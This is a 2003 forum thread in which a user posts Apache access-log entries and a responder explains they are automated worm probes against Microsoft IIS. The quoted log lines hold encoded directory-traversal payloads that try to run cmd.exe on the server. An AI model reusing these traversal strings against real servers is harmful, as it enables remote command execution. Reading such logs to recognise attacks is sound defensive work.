apache logs

i have the following in my apache logs ... waht does this mean ?

pcp01484720pcs.limstn01.de.comcast.net - - [24/Oct/2003:17:18:47 -0400] "GET /scripts/root.exe?/c+dir HTTP/1.0" 404 214
pcp01484720pcs.limstn01.de.comcast.net - - [24/Oct/2003:17:18:47 -0400] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 404 212
pcp01484720pcs.limstn01.de.comcast.net - - [24/Oct/2003:17:18:47 -0400] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 222
pcp01484720pcs.limstn01.de.comcast.net - - [24/Oct/2003:17:18:47 -0400] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 222
pcp01484720pcs.limstn01.de.comcast.net - - [24/Oct/2003:17:18:47 -0400] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 236
pcp01484720pcs.limstn01.de.comcast.net - - [24/Oct/2003:17:18:47 -0400] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 253
pcp01484720pcs.limstn01.de.comcast.net - - [24/Oct/2003:17:18:47 -0400] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 253
pcp01484720pcs.limstn01.de.comcast.net - - [24/Oct/2003:17:18:47 -0400] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 269
pcp01484720pcs.limstn01.de.comcast.net - - [24/Oct/2003:17:18:47 -0400] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 235
pcp01484720pcs.limstn01.de.comcast.net - - [24/Oct/2003:17:18:48 -0400] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 235
pcp01484720pcs.limstn01.de.comcast.net - - [24/Oct/2003:17:18:48 -0400] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 235
pcp01484720pcs.limstn01.de.comcast.net - - [24/Oct/2003:17:18:48 -0400] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 235
pcp01484720pcs.limstn01.de.comcast.net - - [24/Oct/2003:17:18:48 -0400] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 400 226
pcp01484720pcs.limstn01.de.comcast.net - - [24/Oct/2003:17:18:48 -0400] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 400 226
pcp01484720pcs.limstn01.de.comcast.net - - [24/Oct/2003:17:18:48 -0400] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 236
pcp01484720pcs.limstn01.de.comcast.net - - [24/Oct/2003:17:18:48 -0400] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 236

thanks in advance
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dorwardConnect With a Mentor Commented:
It means someone (or more likely someTHING [a worm]) is trying to exploit security holes in Microsoft's contribution to the webserver market.

Apache users don't need to worry about it, other then the slightly untity log files.

IIS users should switch to Apache (or install all the security patches).
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sanctifyAuthor Commented:
ok thanks .. its good to know im secure with apache
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